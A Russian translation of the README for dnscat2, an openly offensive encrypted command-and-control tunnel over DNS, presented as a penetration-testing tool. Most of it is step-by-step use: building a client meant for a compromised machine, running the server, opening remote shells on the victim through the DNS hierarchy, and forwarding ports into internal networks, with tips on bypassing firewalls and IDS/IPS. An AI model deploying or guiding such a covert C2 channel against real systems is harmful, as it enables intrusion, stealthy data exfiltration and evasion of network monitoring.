
Зашифрованный туннель управления и контроля по протоколу DNS. Создает скрытые каналы C&C для тестирования на проникновение, с возможностями передачи файлов, доступа к оболочке и перенаправления портов через DNS-запросы.
***** ПРИМЕЧАНИЕ: Пароль для загрузок .zip — везде "password"! *****
Добро пожаловать в dnscat2, DNS-туннель, который НЕ сделает вас больным и не убьёт!
Этот инструмент предназначен для создания зашифрованного канала управления и контроля (C&C) через протокол DNS, который является эффективным туннелем из практически любой сети.
Этот файл README должен содержать всё, что вам нужно для начала работы! Если вы заинтересованы в более глубоком изучении протокола, структуры кода, планов на будущее или других эзотерических вещей, загляните в папку doc/.
Этот проект распространяется под лицензией BSD. Для получения дополнительной информации смотрите LICENSE.md.
dnscat2 состоит из двух частей: клиента и сервера.
Клиент предназначен для запуска на взломанной машине. Он написан на C и имеет минимальные возможные зависимости. Он должен работать практически везде (если вы найдёте систему, где он не компилируется или не запускается, пожалуйста, создайте тикет, особенно если вы можете помочь мне получить доступ к этой системе).
При запуске клиента вы обычно указываете доменное имя. Все запросы будут отправляться локальному DNS-серверу, который затем перенаправляет их на авторитативный DNS-сервер для этого домена (которым вы, предположительно, управляете).
Если у вас нет авторитативного DNS-сервера, вы также можете использовать прямые подключения через UDP/53 (или любой другой порт). Они будут быстрее и всё равно будут выглядеть как DNS-трафик для невнимательного наблюдателя, но гораздо более заметны в логах пакетов (все домены имеют префикс "dnscat.", если только вы не измените исходный код). Этот режим часто блокируется брандмауэрами.
Сервер предназначен для запуска на авторитативном DNS-сервере. Он написан на Ruby и зависит от нескольких различных гемов. При его запуске, как и в случае с клиентом, вы указываете, какие домены он должен прослушивать, помимо прослушивания сообщений, отправленных напрямую через UDP/53. Когда он получает трафик для одного из этих доменов, он пытается установить логическое соединение. Если он получает другой трафик, он по умолчанию игнорирует его, но также может перенаправить его вышестоящему серверу.
Подробные инструкции для обеих частей приведены ниже.
dnscat2 стремится отличаться от других протоколов DNS-туннелирования тем, что разработан для особой цели: управления и контроля.
Он не предназначен для того, чтобы выйти из сети отеля или получить бесплатный интернет в самолёте. И он не просто туннелирует TCP.
Он может туннелировать любые данные без привязки к протоколу. Это означает, что он может загружать и скачивать файлы, запускать оболочку, и делает это хорошо. Он также потенциально может туннелировать TCP, но это будет добавлено только в контексте инструмента для пентеста (то есть туннелирование TCP в сеть), а не как инструмент общего назначения. Это уже было сделано, это не интересно (для меня).
Кроме того, он зашифрован по умолчанию. Я не думаю, что какой-либо другой публичный DNS-туннель шифрует весь трафик!
Вот несколько важных ссылок:
Теория dnscat2 проста: он создаёт туннель через протокол DNS.
Почему? Потому что DNS обладает удивительным свойством: он будет переходить от сервера к серверу, пока не выяснит, куда ему нужно попасть.
Это означает, что для вывода трафика из защищённой сети dnscat просто должен отправлять сообщения на DNS-сервер, который с радостью перенаправит их через DNS-сеть, пока они не достигнут вашего DNS-сервера.
Это, конечно, предполагает, что у вас есть доступ к авторитативному DNS-серверу. dnscat2 также поддерживает "прямые" соединения — то есть запуск клиента dnscat, который напрямую подключается к вашему dnscat по вашему IP-адресу и UDP-порту 53 (по умолчанию). Трафик по-прежнему выглядит как DNS-трафик и может обойти более глупые системы IDS/IPS, но, скорее всего, будет остановлен брандмауэрами.
Если вы не уверены, как настроить авторитативный DNS-сервер, это то, что нужно настраивать с провайдером домена. izhan любезно написал инструкцию для вас!
Компиляция клиента должна быть довольно простой — всё, что вам нужно для компиляции, это make/gcc (для Linux) или Cygwin либо Microsoft Visual Studio (для Windows). Вот команды для Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
В Windows загрузите client/win32/dnscat2.vcproj в Visual Studio и нажмите "build". Я создал и тестировал его на Visual Studio 2008 — пока не получу бесплатную легальную копию более новой версии, вероятно, буду придерживаться этой. :)
Если компиляция не удалась, пожалуйста, сообщите об ошибке на моей странице github! Пришлите подробную информацию о вашей системе.
Вы можете проверить успешность компиляции dnscat2, запустив его без флагов; вы увидите, как он пытается запустить DNS-туннель с настроенным DNS-сервером (это не удастся):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
Сервер как таковой не "компилируется", но он требует некоторых зависимостей Ruby. К сожалению, зависимости Ruby могут быть капризными в настройке, так что удачи! Если есть эксперты по Ruby, которые хотят помочь улучшить этот раздел, буду благодарен!
Предполагаю, что у вас установлены Ruby и Gem и они работают. Если нет, установите их с помощью apt-get, emerge, rvm или любым способом, принятым в вашей операционной системе.
После того как разобрались с Ruby/Gem, выполните следующие команды (примечание: вы можете пропустить команду git clone, если уже установили клиент, и пропустить gem install bundler, если уже установили bundler):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
Если вы получаете ошибку прав доступа при gem install bundler или bundle install, возможно, нужно запустить их от root. Если много проблем, удалите Ruby/Gem и установите всё с помощью rvm без root.
Если вы получили ошибку, подобную этой:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Это означает, что вам нужно установить -dev версию Ruby:
$ sudo apt-get install ruby-dev
Я заметил, что sudo не всегда достаточно, чтобы всё работало правильно, иногда приходится переключаться на root и работать непосредственно от этой учётной записи. rvmsudo не помогает, потому что он ломает ctrl-z.
Вы можете проверить работу сервера, запустив его без флагов и проверив, появится ли приглашение dnscat2>:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
Если вы не запускаете его от root, у вас могут возникнуть проблемы с прослушиванием UDP/53 (вы можете использовать --dnsport для изменения порта). Если это так, вы увидите сообщение об ошибке.
Если у вас возникают проблемы с запуском Ruby от root, вот что я делаю для первого запуска:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
И в последующие разы:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo должно упростить, но dnscat2, к сожалению, плохо дружит с rvmsudo.
Прежде чем мы поговорим о том, как конкретно использовать инструменты, давайте обсудим структуру dnscat. Инструмент dnscat разделён на две части: клиент и сервер. Как вы заметили, если прошли компиляцию, клиент написан на C, а сервер — на Ruby.
Обычно сначала запускается сервер. Он может работать долго и обрабатывать столько клиентов, сколько вам нужно. Как я уже говорил, это в основном служба C&C.
Позже запускается клиент, который открывает сеанс с сервером (подробнее о сеансах ниже). Сеанс может либо проходить через иерархию DNS (рекомендуется, но сложнее), либо подключаться напрямую к серверу. Прохождение через иерархию DNS требует авторитативного домена, но обходит большинство брандмауэров. Прямое подключение к серверу более заметно по нескольким причинам.
По умолчанию соединения автоматически шифруются (отключить на клиенте можно с помощью --no-encryption, на сервере — с помощью --security=open). При установке нового соединения, если вы параноик относительно атак "человек посередине", у вас есть два варианта проверки однорангового узла:
--secret на обеих сторонах для проверки соединенияСервер (обычно запускаемый на авторитативном DNS-сервере для определённого домена) разработан так, чтобы быть функциональным, интерактивным и удобным для пользователя. Он написан на Ruby, и во многом его дизайн вдохновлён Metasploit и Meterpreter.
Если вы следовали инструкциям по компиляции выше, вы сможете просто запустить сервер:
$ ruby ./dnscat2.rb skullseclabs.org
Где "skullseclabs.org" — ваш собственный домен. Если у вас нет авторитативного DNS-сервера, это не обязательно; но этот инструмент работает гораздо, гораздо лучше с авторитативным сервером.
На самом деле, этого должно быть достаточно! Кроме того, вы можете протестировать его с помощью команды --ping клиента на любой другой системе, которая должна быть доступна, если вы её скомпилировали:
$ ./dnscat --ping skullseclabs.org
Если ping прошёл успешно, ваш сервер C&C, вероятно, работает! Если вы запустили DNS-сервер на другом порту или вам нужно использовать собственный DNS-резолвер, вы можете использовать флаг --dns вместе с --ping:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
Обратите внимание, что при указании аргумента --dns домен должен быть частью этого аргумента (как domain=xxx). Вы не можете просто передать его в командной строке (из-за ограничения моего парсера команд; я, вероятно, улучшу это в будущих версиях).
Когда процесс запущен, вы можете запустить новый сервер, используя практически тот же синтаксис:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
Вы можете запускать столько DNS-прослушивателей, сколько захотите, при условии, что они находятся на разных хостах/портах. Когда данные поступают, остальная часть процесса даже не знает, от какого прослушивателя они пришли; фактически, клиент может отправлять разные пакеты на разные порты, и сеанс будет продолжаться как обычно.
Клиент (обычно запускаемый на системе после её взлома) разработан так, чтобы быть простым, стабильным и портативным. Он написан на C и имеет как можно меньше зависимостей от библиотек, компилируется и работает нативно на Linux, Windows, Cygwin, FreeBSD и Mac OS X.
Клиенту передаётся доменное имя в командной строке, например:
./dnscat2 skullseclabs.org
В этом примере будет создан сеанс C&C с сервером dnscat2, работающим на skullseclabs.org. Если авторитативный домен недоступен, можно указать конкретный IP-адрес для подключения:
./dnscat2 --dns host=206.220.196.59,port=5353
При условии, что на этом хосте/порту работает сервер dnscat2, будет создан сеанс.
Йоу, чувак; я слышал, ты любишь туннели, так что теперь ты можешь туннелировать туннель через свой туннель!
В настоящее время возможно туннелировать соединение через dnscat2, аналогично "ssh -L"! Другие режимы ("ssh -D" и "ssh -R") также появятся в ближайшее время!
После запуска сеанса (командного сеанса) команда "listen" используется для открытия нового туннелированного порта. Синтаксис примерно такой же, как у ssh -L:
listen [lhost:]lport rhost:rport
Локальный хост опционален, по умолчанию используется все интерфейсы (0.0.0.0). Локальный порт и удалённый хост/порт обязательны.
Сервер dnscat2 будет прослушивать lport. Все соединения, полученные на этот порт, перенаправляются через клиент dnscat2 на выбранный удалённый хост/порт.
Например, это будет прослушивать порт 4444 (на сервере) и перенаправлять трафик на google:
listen 4444 www.google.com:80
Затем, если вы подключитесь к http://localhost:4444, трафик выйдет через клиент dnscat2 и подключится к google.com.
Допустим, вы используете это на пентесте и хотите перенаправить SSH-подключения через клиент dnscat2 (работающий в корпоративной сети) на внутреннее устройство. Вы можете!
listen 127.0.0.1:2222 10.10.10.10:22
Это будет прослушивать только интерфейс localhost на сервере dnscat2 и перенаправлять соединения через туннель на порт 22 устройства 10.10.10.10.
dnscat2 зашифрован по умолчанию.
Я не криптограф, и по необходимости сам придумал схему шифрования. Поэтому я бы не доверял этому на 100%. Думаю, я проделал довольно хорошую работу по предотвращению атак, но это не было профессионально проверено. Используйте с осторожностью.
Множество технической информации о шифровании есть в документе о протоколе. Но вот основы.
По умолчанию и клиент, и сервер поддерживают шифрование и будут пытаться его использовать. Каждое соединение использует новую пару ключей, согласованную с помощью ECDH. Всё шифрование выполняется с помощью salsa20, а подписи используют sha3.
Шифрование можно отключить на клиенте, передав --no-encryption в командной строке или скомпилировав его с помощью make nocrypto.
Сервер будет отклонять незашифрованные соединения по умолчанию. Чтобы разрешить незашифрованные соединения, передайте серверу --security=open или выполните set security=open на консоли.
По умолчанию нет защиты от атак "человек посередине". Как упоминалось ранее, есть два способа получить защиту MitM: предварительно согласованный секрет или "короткая аутентификационная строка".
Предварительно согласованный секрет передаётся в командной строке как клиенту, так и серверу и используется для аутентификации как клиента перед сервером, так и сервера перед клиентом. Это должно быть достаточно сильное значение — то, что злоумышленник не сможет быстро угадать (у атакующего есть лишь короткое окно для его угадывания, так что он должен выдерживать всего несколько секунд).
Предварительно согласованный секрет передаётся через параметр --secret как на клиенте, так и на сервере. Сервер может изменить его во время выполнения с помощью set secret=<новое значение>, но это может привести к неожиданным результатам, если подключены активные клиенты.
Кроме того, сервер может принудительно разрешать только аутентифицированные соединения с помощью --security=authenticated или set security=authenticated. Это включено по умолчанию, если вы передаёте параметр --secret.
Если вам не нужны дополнительные усилия по аутентификации соединений, то и клиент, и сервер отображают "короткую аутентификационную строку". Короткая аутентификационная строка — это набор английских слов, полученных на основе секретных значений, которыми обмениваются обе стороны.
Если на клиенте и сервере выводится один и тот же набор английских слов, соединение можно с разумной уверенностью считать безопасным.
Это практически всё, что нужно знать о шифровании! Подробности смотрите в документации протокола! Буду рад любым отзывам о криптографии. :)
И наконец, если у вас возникнут проблемы с криптографией, пожалуйста, дайте мне знать! По умолчанию при запуске создаётся окно с именем "crypto-debug". Если у вас проблемы с шифрованием, пришлите мне этот лог! Или, ещё лучше, запустите dnscat2 с аргументами --firehose и --packet-trace и пришлите мне ВСЁ! Не беспокойтесь о раскрытии закрытых ключей; они используются только для этого сеанса.
Пользовательский интерфейс dnscat2 состоит из нескольких окон. Окно по умолчанию называется 'main'. Вы можете получить список окон, введя windows (или sessions) в любом командном приглашении:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
Вы заметите, что есть два окна: окно 0 — это главное окно, а окно dns1 — прослушиватель (технически называемый 'драйвер туннеля').
Из любого окна, которое принимает команды (main и командные сеансы), вы можете ввести help, чтобы получить список команд:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Для любой из этих команд вы можете использовать -h или --help, чтобы получить подробности:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
Мы будем использовать команду window для взаимодействия с dns1 — это окно состояния:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
Эти полученные и отправленные строки, если их декодировать, являются пингами.
Вы можете переключиться на окно «родитель» (в данном случае main), нажав ctrl-z. Если ctrl-z завершает процесс, значит, вам нужно найти лучший способ запуска (rvmsudo не работает, см. выше).
Когда новый клиент подключается и создает сессию, вы получите уведомление в окне main (и в некоторых других окнах):
New window created: 1
dnscat2>
(Обратите внимание, что для получения приглашения нужно нажать Enter)
Вы можете переключиться в новое окно так же, как мы переключались в окно состояния dns1:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
Командные сессии могут порождать дополнительные сессии; например, команда shell:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(Обратите внимание: на протяжении всего документа я привожу упрощённый вывод; обычно нужно нажать Enter, чтобы вернуть приглашение)
Затем, если вернуться в главную сессию (ctrl-z или suspend), вы увидите её в списке окон:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
К сожалению, команда 'windows' в конкретной командной сессии показывает только дочерние окна этой сессии, а новые сессии сейчас не порождаются как дочерние.
Обратите внимание, что некоторые сессии помечены [*] — это означает, что с момента последнего просмотра в них была активность.
При взаимодействии с сессией интерфейс будет выглядеть по-разному в зависимости от типа сессии. Как вы видели на примере типа сессии по умолчанию (командные сессии), вы получаете такой же интерфейс, как на верхнем уровне (можно ввести 'help' или выполнять команды и т.д.). Однако, если вы взаимодействуете с 'shell' сессией, вы не увидите многого, пока не введете команду:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
Чтобы выйти из этого режима, можно использовать ctrl-z или ввести "exit" (это завершит сессию).
Наконец, для завершения сессии используется команда kill:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
В прошлом существовало несколько инструментов для туннелирования через DNS. Один из них назывался dnscat и был написан Тадеком Пьетрашеком. Проблема в том, что он написан на Java, а мне хотелось чего-то, что можно запускать практически везде.
Эта версия dnscat была основана на инструменте NSTX, страница которого больше не существует и даже не сохранилась в Wayback Machine, так что я ничего о нём не знаю.
Позже я написал реализацию на C и назвал её dnscat (без разрешения), так как предыдущая версия на Java была необслуживаема, и мне очень нравилось это название (я думал назвать его dnscat-ng, но -ng слишком многословно на мой вкус). Она работала, но было много проблем. Клиент и сервер были одним инструментом, как netcat, что из-за клиент-серверной модели DNS работало не очень хорошо. Другая проблема заключалась в том, что я слишком сильно привязал его к протоколу DNS, поэтому он мог работать только через DNS.
dnscat2 — преемник dnscat — попытка исправить некоторые ошибки, которые я совершил. dnscat2 имеет отдельный сервер (Ruby) и клиент (C), рассматривает всё как поток байтов и использует своего рода драйвер для преобразования этого потока байтов в DNS-запросы и обратно. Таким образом, это многоуровневый протокол, где DNS является нижним уровнем.
В результате я изобрёл протокол, который называю протоколом dnscat. Документацию по нему можно найти в docs/protocol.md. Это простой опросный сетевой протокол, где клиент периодически опрашивает сервер, а сервер отвечает сообщением (или кодом ошибки). Протокол спроектирован так, чтобы быть устойчивым к различным проблемам, с которыми я столкнулся в dnscat1, — то есть он одинаково хорошо обрабатывает пакеты, пришедшие не по порядку, потерянные и дублированные пакеты.